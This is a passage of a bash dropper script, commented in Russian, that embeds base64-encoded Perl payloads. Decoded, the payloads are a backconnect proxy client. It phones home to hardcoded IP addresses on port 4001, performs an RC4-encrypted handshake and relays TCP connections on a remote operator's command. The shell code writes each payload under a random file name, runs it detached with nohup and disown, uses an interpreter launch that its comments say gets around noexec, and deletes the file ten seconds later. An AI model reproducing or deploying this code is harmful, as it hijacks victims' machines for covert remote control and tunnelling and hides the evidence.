IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_bba51bf5() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB